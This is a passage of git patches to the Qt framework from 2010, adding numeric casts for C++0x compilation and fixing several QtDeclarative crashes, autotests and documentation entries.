8); } else if (cshape == Qt::DragCopyCursor || cshape == Qt::DragMoveCursor || cshape == Qt::DragLinkCursor) { diff --git a/src/gui/painting/qpaintengineex.cpp b/src/gui/painting/qpaintengineex.cpp index 1fd622d..990e3c4 100644 --- a/src/gui/painting/qpaintengineex.cpp +++ b/src/gui/painting/qpaintengineex.cpp @@ -607,11 +607,11 @@ void QPaintEngineEx::clip(const QRect &r, Qt::ClipOperation op) { qreal right = r.x() + r.width(); qreal bottom = r.y() + r.height(); - qreal pts[] = { r.x(), r.y(), - right, r.y(), + qreal pts[] = { qreal(r.x()), qreal(r.y()), + right, qreal(r.y()), right, bottom, - r.x(), bottom, - r.x(), r.y() }; + qreal(r.x()), bottom, + qreal(r.x()), qreal(r.y()) }; QVectorPath vp(pts, 5, 0, QVectorPath::RectangleHint); clip(vp, op); } @@ -711,11 +711,11 @@ void QPaintEngineEx::drawRects(const QRect *rects, int rectCount) // ### Is there a one off here? qreal right = r.x() + r.width(); qreal bottom = r.y() + r.height(); - qreal pts[] = { r.x(), r.y(), - right, r.y(), + qreal pts[] = { qreal(r.x()), qreal(r.y()), + right, qreal(r.y()), right, bottom, - r.x(), bottom, - r.x(), r.y() }; + qreal(r.x()), bottom, + qreal(r.x()), qreal(r.y()) }; QVectorPath vp(pts, 5, 0, QVectorPath::RectangleHint); draw(vp); } @@ -903,7 +903,8 @@ void QPaintEngineEx::drawPoints(const QPoint *points, int pointCount) } } else { for (int i=0; idevice->size(); diff --git a/src/opengl/qglshaderprogram.cpp b/src/opengl/qglshaderprogram.cpp index 739983e..55fd922 100644 --- a/src/opengl/qglshaderprogram.cpp +++ b/src/opengl/qglshaderprogram.cpp @@ -1290,7 +1290,8 @@ void QGLShaderProgram::setAttributeValue(int location, const QColor& value) Q_D(QGLShaderProgram); Q_UNUSED(d); if (location != -1) { - GLfloat values[4] = {value.redF(), value.greenF(), value.blueF(), value.alphaF()}; + GLfloat values[4] = {GLfloat(value.redF()), GLfloat(value.greenF()), + GLfloat(value.blueF()), GLfloat(value.alphaF())}; glVertexAttrib4fv(location, values); } } @@ -2025,7 +2026,8 @@ void QGLShaderProgram::setUniformValue(int location, const QColor& color) Q_D(QGLShaderProgram); Q_UNUSED(d); if (location != -1) { - GLfloat values[4] = {color.redF(), color.greenF(), color.blueF(), color.alphaF()}; + GLfloat values[4] = {GLfloat(color.redF()), GLfloat(color.greenF()), + GLfloat(color.blueF()), GLfloat(color.alphaF())}; glUniform4fv(location, 1, values); } } @@ -2054,7 +2056,7 @@ void QGLShaderProgram::setUniformValue(int location, const QPoint& point) Q_D(QGLShaderProgram); Q_UNUSED(d); if (location != -1) { - GLfloat values[4] = {point.x(), point.y()}; + GLfloat values[4] = {GLfloat(point.x()), GLfloat(point.y())}; glUniform2fv(location, 1, values); } } @@ -2083,7 +2085,7 @@ void QGLShaderProgram::setUniformValue(int location, const QPointF& point) Q_D(QGLShaderProgram); Q_UNUSED(d); if (location != -1) { - GLfloat values[4] = {point.x(), point.y()}; + GLfloat values[4] = {GLfloat(point.x()), GLfloat(point.y())}; glUniform2fv(location, 1, values); } } @@ -2112,7 +2114,7 @@ void QGLShaderProgram::setUniformValue(int location, const QSize& size) Q_D(QGLShaderProgram); Q_UNUSED(d); if (location != -1) { - GLfloat values[4] = {size.width(), size.width()}; + GLfloat values[4] = {GLfloat(size.width()), GLfloat(size.width())}; glUniform2fv(location, 1, values); } } @@ -2141,7 +2143,7 @@ void QGLShaderProgram::setUniformValue(int location, const QSizeF& size) Q_D(QGLShaderProgram); Q_UNUSED(d); if (location != -1) { - GLfloat values[4] = {size.width(), size.height()}; + GLfloat values[4] = {GLfloat(size.width()), GLfloat(size.height())}; glUniform2fv(location, 1, values); } } @@ -2562,9 +2564,9 @@ void QGLShaderProgram::setUniformValue(int location, const QTransform& value) Q_UNUSED(d); if (location != -1) { GLfloat mat[3][3] = { - {value.m11(), value.m12(), value.m13()}, - {value.m21(), value.m22(), value.m23()}, - {value.m31(), value.m32(), value.m33()} + {GLfloat(value.m11()), GLfloat(value.m12()), GLfloat(value.m13())}, + {GLfloat(value.m21()), GLfloat(value.m22()), GLfloat(value.m23())}, + {GLfloat(value.m31()), GLfloat(value.m32()), GLfloat(value.m33())} }; glUniformMatrix3fv(location, 1, GL_FALSE, mat[0]); } diff --git a/src/opengl/qpaintengine_opengl.cpp b/src/opengl/qpaintengine_opengl.cpp index c8307a0..306fd8b 100644 --- a/src/opengl/qpaintengine_opengl.cpp +++ b/src/opengl/qpaintengine_opengl.cpp @@ -3342,15 +3342,15 @@ void QGLEllipseMaskGenerator::drawMask(const QRect &rect) QTransform gl_to_qt(1, 0, 0, -1, 0, offscreen->drawableSize().height()); QTransform inv_matrix = gl_to_qt * matrix().inverted() * translate; - float m[3][4] = { { inv_matrix.m11(), inv_matrix.m12(), inv_matrix.m13() }, - { inv_matrix.m21(), inv_matrix.m22(), inv_matrix.m23() }, - { inv_matrix.m31(), inv_matrix.m32(), inv_matrix.m33() } }; + float m[3][4] = { { float(inv_matrix.m11()), float(inv_matrix.m12()), float(inv_matrix.m13()) }, + { float(inv_matrix.m21()), float(inv_matrix.m22()), float(inv_matrix.m23()) }, + { float(inv_matrix.m31()), float(inv_matrix.m32()), float(inv_matrix.m33()) } }; QPoint offs(screen_rect.left() - rect.left(), (offscreen->drawableSize().height() - screen_rect.top()) - (offscreen->offscreenSize().height() - rect.top())); // last component needs to be 1.0f to avoid Nvidia bug on linux - float ellipse_offset[4] = { offs.x(), offs.y(), 0.0f, 1.0f }; + float ellipse_offset[4] = { float(offs.x()), float(offs.y()), 0.0f, 1.0f }; GLfloat vertexArray[4 * 2]; qt_add_rect_to_array(rect, vertexArray); -- cgit v0.12 From 1aca37afd10fbb4c440f7a66fb7ad3f23e47a312 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Sun, 21 Mar 2010 00:30:53 +0100 Subject: Compile Phonon in C++0x mode. Will upstream the patch --- src/3rdparty/phonon/gstreamer/glrenderer.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/3rdparty/phonon/gstreamer/glrenderer.cpp b/src/3rdparty/phonon/gstreamer/glrenderer.cpp index 6cf3459..0203028 100644 --- a/src/3rdparty/phonon/gstreamer/glrenderer.cpp +++ b/src/3rdparty/phonon/gstreamer/glrenderer.cpp @@ -304,7 +304,7 @@ void GLRenderWidgetImplementation::paintEvent(QPaintEvent *) const float tx_array[] = { 0, 0, 1, 0, 1, 1, 0, 1}; const QRectF r = drawFrameRect(); - const float v_array[] = { r.left(), r.top(), r.right(), r.top(), r.right(), r.bottom(), r.left(), r.bottom() }; + const float v_array[] = { float(r.left()), float(r.top()), float(r.right()), float(r.top()), float(r.right()), float(r.bottom()), float(r.left()), float(r.bottom()) }; glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, m_texture[0]); -- cgit v0.12 From 59f1e6b6ac569ae50ec657795454e4910aa0075f Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Sun, 21 Mar 2010 00:31:17 +0100 Subject: Disable C++0x mode for QtWebKit and QtScript since WebKit will not compile any time soon with C++0x --- src/3rdparty/webkit/WebCore/WebCore.pro | 3 +++ src/script/script.pro | 3 +++ 2 files changed, 6 insertions(+) diff --git a/src/3rdparty/webkit/WebCore/WebCore.pro b/src/3rdparty/webkit/WebCore/WebCore.pro index a80eed4..2f85100 100644 --- a/src/3rdparty/webkit/WebCore/WebCore.pro +++ b/src/3rdparty/webkit/WebCore/WebCore.pro @@ -3424,3 +3424,6 @@ symbian { } } } + +# WebKit doesn't compile in C++0x mode +*-g++*:QMAKE_CXXFLAGS -= -std=c++0x -std=gnu++0x diff --git a/src/script/script.pro b/src/script/script.pro index 2a74a66..55217e0 100644 --- a/src/script/script.pro +++ b/src/script/script.pro @@ -80,3 +80,6 @@ INCLUDEPATH += $$PWD include(script.pri) symbian:TARGET.UID3=0x2001B2E1 + +# WebKit doesn't compile in C++0x mode +*-g++*:QMAKE_CXXFLAGS -= -std=c++0x -std=gnu++0x -- cgit v0.12 From 05500482c4b7f810bd4c073739bdedf0b8783738 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Sun, 21 Mar 2010 09:29:07 +0100 Subject: Autotests: if you use X11 libs, you must link to X11 libs explicitly. Solaris linker complains if you don't. Plus it's the right thing to do --- tests/auto/guiapplauncher/guiapplauncher.pro | 3 +++ tests/auto/qgl_threads/qgl_threads.pro | 3 +++ tests/auto/qwidget/qwidget.pro | 4 ++++ tests/auto/qwidget_window/qwidget_window.pro | 3 +++ 4 files changed, 13 insertions(+) diff --git a/tests/auto/guiapplauncher/guiapplauncher.pro b/tests/auto/guiapplauncher/guiapplauncher.pro index 2f81061..30f5cf4 100644 --- a/tests/auto/guiapplauncher/guiapplauncher.pro +++ b/tests/auto/guiapplauncher/guiapplauncher.pro @@ -16,3 +16,6 @@ HEADERS += windowmanager.h # process enumeration,etc. win32:LIBS+=-luser32 +x11 { + LIBS += $$QMAKE_LIBS_X11 +} diff --git a/tests/auto/qgl_threads/qgl_threads.pro b/tests/auto/qgl_threads/qgl_threads.pro index 9312c05..83d5d82 100644 --- a/tests/auto/qgl_threads/qgl_threads.pro +++ b/tests/auto/qgl_threads/qgl_threads.pro @@ -9,3 +9,6 @@ QT += opengl HEADERS += tst_openglthreading.h SOURCES += tst_openglthreading.cpp +x11 { + LIBS += $$QMAKE_LIBS_X11 +} diff --git a/tests/auto/qwidget/qwidget.pro b/tests/auto/qwidget/qwidget.pro index 61db2ee..e39431b 100644 --- a/tests/auto/qwidget/qwidget.pro +++ b/tests/auto/qwidget/qwidget.pro @@ -14,6 +14,10 @@ mac { OBJECTIVE_SOURCES += tst_qwidget_mac_helpers.mm } +x11 { + LIBS += $$QMAKE_LIBS_X11 +} + symbian { INCLUDEPATH += $$MW_LAYER_SYSTEMINCLUDE LIBS += -leikcore -lcone -leikcoctl diff --git a/tests/auto/qwidget_window/qwidget_window.pro b/tests/auto/qwidget_window/qwidget_window.pro index e375fab..df7d687 100644 --- a/tests/auto/qwidget_window/qwidget_window.pro +++ b/tests/auto/qwidget_window/qwidget_window.pro @@ -1,4 +1,7 @@ load(qttest_p4) SOURCES += tst_qwidget_window.cpp +x11 { + LIBS += $$QMAKE_LIBS_X11 +} -- cgit v0.12 From 44b1fc2051df2bfd784ce847ee430edad68e3dbd Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 19 Mar 2010 09:50:52 +1000 Subject: Fix Flipable crash. Task-number: QTBUG-9161 --- src/declarative/graphicsitems/qdeclarativeflipable.cpp | 7 ++++--- tests/auto/declarative/qdeclarativeflipable/data/crash.qml | 9 +++++++++ .../qdeclarativeflipable/tst_qdeclarativeflipable.cpp | 10 ++++++++++ 3 files changed, 23 insertions(+), 3 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativeflipable/data/crash.qml diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index 1ebbaee..8b46039 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -42,6 +42,7 @@ #include "qdeclarativeflipable_p.h" #include "qdeclarativeitem_p.h" +#include "qdeclarativeguard_p.h" #include @@ -58,8 +59,8 @@ public: void updateSceneTransformFromParent(); QDeclarativeFlipable::Side current; - QDeclarativeItem *front; - QDeclarativeItem *back; + QDeclarativeGuard front; + QDeclarativeGuard back; }; /*! @@ -192,7 +193,7 @@ void QDeclarativeFlipablePrivate::updateSceneTransformFromParent() if (newSide != current) { current = newSide; - if (current == QDeclarativeFlipable::Back) { + if (current == QDeclarativeFlipable::Back && back) { QTransform mat; mat.translate(back->width()/2,back->height()/2); if (back->width() && p1.x() >= p2.x()) diff --git a/tests/auto/declarative/qdeclarativeflipable/data/crash.qml b/tests/auto/declarative/qdeclarativeflipable/data/crash.qml new file mode 100644 index 0000000..ad40bf0 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeflipable/data/crash.qml @@ -0,0 +1,9 @@ +import Qt 4.6 + +Flipable { + transform: Rotation { + axis.y: 1 + axis.z: 0 + angle: 180 + } +} diff --git a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp index ed37c43..04c6710 100644 --- a/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp +++ b/tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp @@ -41,6 +41,7 @@ #include #include #include +#include #include #include #include @@ -57,6 +58,7 @@ private slots: void create(); void checkFrontAndBack(); void setFrontAndBack(); + void crash(); private: QDeclarativeEngine engine; @@ -108,6 +110,14 @@ void tst_qdeclarativeflipable::setFrontAndBack() delete obj; } +void tst_qdeclarativeflipable::crash() +{ + QDeclarativeView *canvas = new QDeclarativeView; + canvas->setSource(QUrl(SRCDIR "/data/crash.qml")); + canvas->show(); + delete canvas; +} + QTEST_MAIN(tst_qdeclarativeflipable) #include "tst_qdeclarativeflipable.moc" -- cgit v0.12 From 0c1f1b8c8f5641609e1a07622127f4e0780c2247 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Fri, 19 Mar 2010 11:45:47 +1000 Subject: Produce an error when trying to create objects in a PropertyChanges. State-specific object lifecycle management will be addressed in a future release. Task-number: QTBUG-8318 --- src/declarative/util/qdeclarativepropertychanges.cpp | 2 ++ .../declarative/qdeclarativestates/data/illegalObj.qml | 12 ++++++++++++ .../qdeclarativestates/tst_qdeclarativestates.cpp | 14 ++++++++++++++ 3 files changed, 28 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativestates/data/illegalObj.qml diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp index 8865e04..6ceec5d 100644 --- a/src/declarative/util/qdeclarativepropertychanges.cpp +++ b/src/declarative/util/qdeclarativepropertychanges.cpp @@ -227,6 +227,8 @@ QDeclarativePropertyChangesParser::compileList(QList const QVariant &value = values.at(ii); if (value.userType() == qMetaTypeId()) { + error(qvariant_cast(value), + QDeclarativePropertyChanges::tr("PropertyChanges does not support creating state-specific objects.")); continue; } else if(value.userType() == qMetaTypeId()) { diff --git a/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml b/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml new file mode 100644 index 0000000..480764e --- /dev/null +++ b/tests/auto/declarative/qdeclarativestates/data/illegalObj.qml @@ -0,0 +1,12 @@ +import Qt 4.6 + +Rectangle { + id: myItem + + states : State { + PropertyChanges { + target: myItem + children: Item { id: newItem } + } + } +} diff --git a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp index fe7ec15..9e1d727 100644 --- a/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp +++ b/tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp @@ -106,6 +106,7 @@ private slots: void illegalTempState(); void nonExistantProperty(); void reset(); + void illegalObjectCreation(); }; void tst_qdeclarativestates::initTestCase() @@ -964,6 +965,19 @@ void tst_qdeclarativestates::reset() QVERIFY(text->width() > text->height()); } +void tst_qdeclarativestates::illegalObjectCreation() +{ + QDeclarativeEngine engine; + + QDeclarativeComponent component(&engine, SRCDIR "/data/illegalObj.qml"); + QList errors = component.errors(); + QVERIFY(errors.count() == 1); + const QDeclarativeError &error = errors.at(0); + QCOMPARE(error.line(), 9); + QCOMPARE(error.column(), 23); + QCOMPARE(error.description().toUtf8().constData(), "PropertyChanges does not support creating state-specific objects."); +} + QTEST_MAIN(tst_qdeclarativestates) #include "tst_qdeclarativestates.moc" -- cgit v0.12 From 535172df73b539bf6468a96773ac28457e307792 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 18 Mar 2010 13:52:14 +1000 Subject: Initialize variable. --- src/declarative/util/qdeclarativestateoperations.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativestateoperations.cpp b/src/declarative/util/qdeclarativestateoperations.cpp index 6f5bb66..0946e88 100644 --- a/src/declarative/util/qdeclarativestateoperations.cpp +++ b/src/declarative/util/qdeclarativestateoperations.cpp @@ -944,7 +944,7 @@ void QDeclarativeAnchorChanges::saveOriginals() d->origBaseline = d->target->anchors()->baseline(); d->applyOrigLeft = d->applyOrigRight = d->applyOrigHCenter = d->applyOrigTop - = d->applyOrigBottom = d->applyOrigHCenter = d->applyOrigBaseline = false; + = d->applyOrigBottom = d->applyOrigVCenter = d->applyOrigBaseline = false; saveCurrentValues(); } -- cgit v0.12 From b5d5be9db8ea0932b728fb9b90f61212c7cb6777 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 18 Mar 2010 15:27:05 +1000 Subject: Fix crash when calling createObject on a component with errors. --- src/declarative/qml/qdeclarativecomponent.cpp | 2 ++ .../qdeclarativeecmascript/data/dynamicCreation.qml | 6 ++++++ .../qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp | 14 ++++++++++++++ 3 files changed, 22 insertions(+) diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp index a280d7e..8922751 100644 --- a/src/declarative/qml/qdeclarativecomponent.cpp +++ b/src/declarative/qml/qdeclarativecomponent.cpp @@ -511,6 +511,8 @@ QScriptValue QDeclarativeComponent::createObject() return QScriptValue(); } QObject* ret = create(ctxt); + if (!ret) + return QScriptValue(); QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(d->engine); QDeclarativeDeclarativeData::get(ret, true)->setImplicitDestructible(); return priv->objectClass->newQObject(ret, QMetaType::QObjectStar); diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml index ed5e571..2fef03a 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml +++ b/tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml @@ -18,4 +18,10 @@ MyQmlObject{ { obj.objectProperty = createQmlObject('TypeForDynamicCreation{}', obj); } + + function dontCrash() + { + var component = createComponent('file-doesnt-exist.qml'); + obj.objectProperty = component.createObject(); + } } diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index caefdbf..87d73a0 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -130,6 +130,7 @@ private slots: void qlistqobjectMethods(); void bug1(); + void dynamicCreationCrash(); void callQtInvokables(); private: @@ -1227,6 +1228,19 @@ void tst_qdeclarativeecmascript::bug1() delete object; } +// Don't crash in createObject when the component has errors. +void tst_qdeclarativeecmascript::dynamicCreationCrash() +{ + QDeclarativeComponent component(&engine, TEST_FILE("dynamicCreation.qml")); + MyQmlObject *object = qobject_cast(component.create()); + QVERIFY(object != 0); + + QTest::ignoreMessage(QtWarningMsg, "QDeclarativeComponent: Component is not ready"); + QMetaObject::invokeMethod(object, "dontCrash"); + QObject *created = object->objectProperty(); + QVERIFY(created == 0); +} + void tst_qdeclarativeecmascript::callQtInvokables() { MyInvokableObject o; -- cgit v0.12 From 71be51f256edbac81966e1d65ef6f774f5fa17e9 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 09:44:24 +1000 Subject: Fix Behavior documentation due to easing changes. --- src/declarative/util/qdeclarativebehavior.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativebehavior.cpp b/src/declarative/util/qdeclarativebehavior.cpp index d90ca33..1e000df 100644 --- a/src/declarative/util/qdeclarativebehavior.cpp +++ b/src/declarative/util/qdeclarativebehavior.cpp @@ -83,7 +83,8 @@ public: y: 200 // initial value Behavior on y { NumberAnimation { - easing: "easeOutBounce(amplitude:100)" + easing.type: "OutBounce" + easing.amplitude: 100 duration: 200 } } -- cgit v0.12 From 6ed43975f6733265b8b91b00a9a212076d896ef9 Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Mon, 22 Mar 2010 10:53:06 +1000 Subject: Fix qdeclarativetextedit::delegateLoading autotest After d039e2e8307, this test broke because of restricted remote imports. --- .../declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml | 1 + tests/auto/declarative/qdeclarativetextedit/data/http/qmldir | 4 ++++ 2 files changed, 5 insertions(+) create mode 100644 tests/auto/declarative/qdeclarativetextedit/data/http/qmldir diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml index a44e867..de4de00 100644 --- a/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml +++ b/tests/auto/declarative/qdeclarativetextedit/data/http/cursorHttpTestPass.qml @@ -1,4 +1,5 @@ import Qt 4.6 +import "http://localhost:42332" Rectangle { width: 300; height: 300; color: "white" resources: [ diff --git a/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir b/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir new file mode 100644 index 0000000..886e6ff --- /dev/null +++ b/tests/auto/declarative/qdeclarativetextedit/data/http/qmldir @@ -0,0 +1,4 @@ +ErrItem ErrItem.qml +NormItem NormItem.qml +FailItem FailItem.qml +WaitItem WaitItem.qml -- cgit v0.12 From 897ecf7dab2a34dbf3abf5167dc19a405f65a112 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 11:17:36 +1000 Subject: Add MiddleButton = MidButton to MouseButtons enum. Task-number: QTBUG-6617 Reviewed-by: Alexis Menard --- src/corelib/global/qnamespace.h | 3 ++- src/corelib/global/qnamespace.qdoc | 1 + 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/corelib/global/qnamespace.h b/src/corelib/global/qnamespace.h index 89a0c0b..1ef875f 100644 --- a/src/corelib/global/qnamespace.h +++ b/src/corelib/global/qnamespace.h @@ -146,7 +146,8 @@ public: NoButton = 0x00000000, LeftButton = 0x00000001, RightButton = 0x00000002, - MidButton = 0x00000004, + MidButton = 0x00000004, // ### Qt 5: remove me + MiddleButton = MidButton, XButton1 = 0x00000008, XButton2 = 0x00000010, MouseButtonMask = 0x000000ff diff --git a/src/corelib/global/qnamespace.qdoc b/src/corelib/global/qnamespace.qdoc index f8f3c49..8f9902f 100644 --- a/src/corelib/global/qnamespace.qdoc +++ b/src/corelib/global/qnamespace.qdoc @@ -185,6 +185,7 @@ left-handed mice.) \value RightButton The right button. \value MidButton The middle button. + \value MiddleButton The middle button. \value XButton1 The first X button. \value XButton2 The second X button. -- cgit v0.12 From 0dcdb5cf31c99968b2e7e45ddc985997593a865c Mon Sep 17 00:00:00 2001 From: Leonardo Sobral Cunha Date: Mon, 22 Mar 2010 11:31:56 +1000 Subject: Fix qdeclarativeqt::createQmlObject autotest The warning message expected in this test changed. --- tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml | 4 ++-- tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp | 10 ++++++---- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml b/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml index 9150782..54a3e7d 100644 --- a/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml +++ b/tests/auto/declarative/qdeclarativeqt/data/createQmlObject.qml @@ -7,7 +7,7 @@ Item { property bool incorrectArgCount2: false property bool emptyArg: false property bool noParent: false - property bool notReady: false + property bool notAvailable: false property bool runtimeError: false property bool errors: false @@ -20,7 +20,7 @@ Item { emptyArg = (createQmlObject("", root) == null); errors = (createQmlObject("import Qt 4.6\nQtObject{\nproperty int test: 13\nproperty int test: 13\n}", root, "main.qml") == null); noParent = (createQmlObject("import Qt 4.6\nQtObject{\nproperty int test: 13}", 0) == null); - notReady = (createQmlObject("import Qt 4.6\nQtObject{\nBlah{}\n}", root, "http://www.example.com/main.qml") == null); + notAvailable = (createQmlObject("import Qt 4.6\nQtObject{Blah{}}", root) == null); runtimeError = (createQmlObject("import Qt 4.6\nQtObject{property int test\nonTestChanged: QtObject{}\n}", root) == null); var o = createQmlObject("import Qt 4.6\nQtObject{\nproperty int test: 13\n}", root); diff --git a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp index debec02..4987557 100644 --- a/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp +++ b/tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp @@ -301,15 +301,17 @@ void tst_qdeclarativeqt::createQmlObject() QString warning1 = "QDeclarativeEngine::createQmlObject():"; QString warning2 = " " + TEST_FILE("main.qml").toString() + ":4:1: Duplicate property name"; - QString warning3 = "QDeclarativeEngine::createQmlObject(): Component is not ready"; - QString warning4 = "QDeclarativeEngine::createQmlObject():"; - QString warning5 = " " + TEST_FILE("inline").toString() + ":3: Cannot assign object type QObject with no default method"; + QString warning3 = "QDeclarativeEngine::createQmlObject():"; + QString warning4 = " " + TEST_FILE("inline").toString() + ":2:10: Blah is not a type"; + QString warning5 = "QDeclarativeEngine::createQmlObject():"; + QString warning6 = " " + TEST_FILE("inline").toString() + ":3: Cannot assign object type QObject with no default method"; QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning3)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning4)); QTest::ignoreMessage(QtWarningMsg, qPrintable(warning5)); + QTest::ignoreMessage(QtWarningMsg, qPrintable(warning6)); QObject *object = component.create(); QVERIFY(object != 0); @@ -319,7 +321,7 @@ void tst_qdeclarativeqt::createQmlObject() QCOMPARE(object->property("emptyArg").toBool(), true); QCOMPARE(object->property("errors").toBool(), true); QCOMPARE(object->property("noParent").toBool(), true); - QCOMPARE(object->property("notReady").toBool(), true); + QCOMPARE(object->property("notAvailable").toBool(), true); QCOMPARE(object->property("runtimeError").toBool(), true); QCOMPARE(object->property("success").toBool(), true); -- cgit v0.12 From 84caca8dc56c569dc7b416d6a41e9ca8cda5f14f Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 22 Mar 2010 12:19:17 +1000 Subject: Ensure positioner animations are triggered correctly Task-number: QTBUG-9219 --- .../graphicsitems/qdeclarativepositioners.cpp | 43 +++++++++++++--------- 1 file changed, 25 insertions(+), 18 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index 0f59a70..3391ac9 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -225,20 +225,21 @@ void QDeclarativeBasePositioner::prePositioning() d->watchChanges(child); positionedItems.append(posItem); item = &positionedItems[positionedItems.count()-1]; + item->isNew = true; + if (child->opacity() <= 0.0 || !child->isVisible()) + item->isVisible = false; } else { item = &oldItems[wIdx]; + if (child->opacity() <= 0.0 || !child->isVisible()) { + item->isVisible = false; + } else if (!item->isVisible) { + item->isVisible = true; + item->isNew = true; + } else { + item->isNew = false; + } positionedItems.append(*item); } - if (child->opacity() <= 0.0 || !child->isVisible()) { - item->isVisible = false; - continue; - } - if (!item->isVisible) { - item->isVisible = true; - item->isNew = true; - } else { - item->isNew = false; - } } doPositioning(); if(d->addTransition || d->moveTransition) @@ -261,11 +262,14 @@ void QDeclarativeBasePositioner::positionX(int x, const PositionedItem &target) { Q_D(QDeclarativeBasePositioner); if(d->type == Horizontal || d->type == Both){ - if(!d->addTransition && !d->moveTransition){ - target.item->setX(x); - }else{ - if(target.isNew) + if (target.isNew) { + if (!d->addTransition) + target.item->setX(x); + else d->addActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x)); + } else if (x != target.item->x()) { + if (!d->moveTransition) + target.item->setX(x); else d->moveActions << QDeclarativeAction(target.item, QLatin1String("x"), QVariant(x)); } @@ -276,11 +280,14 @@ void QDeclarativeBasePositioner::positionY(int y, const PositionedItem &target) { Q_D(QDeclarativeBasePositioner); if(d->type == Vertical || d->type == Both){ - if(!d->addTransition && !d->moveTransition){ - target.item->setY(y); - }else{ - if(target.isNew) + if (target.isNew) { + if (!d->addTransition) + target.item->setY(y); + else d->addActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y)); + } else if (y != target.item->y()) { + if (!d->moveTransition) + target.item->setY(y); else d->moveActions << QDeclarativeAction(target.item, QLatin1String("y"), QVariant(y)); } -- cgit v0.12 From 3d9ea4d3b1cf81710ba5ef843399c8625e1ccd9f Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 22 Mar 2010 12:26:55 +1000 Subject: Fix test. Use a custom type to test this language feature, rather than PropertyChanges. --- .../qdeclarativelanguage/data/dynamicObject.1.qml | 2 +- .../auto/declarative/qdeclarativelanguage/testtypes.cpp | 3 +++ tests/auto/declarative/qdeclarativelanguage/testtypes.h | 16 ++++++++++++++++ 3 files changed, 20 insertions(+), 1 deletion(-) diff --git a/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/dynamicObject.1.qml index 85d1052..930bf2c 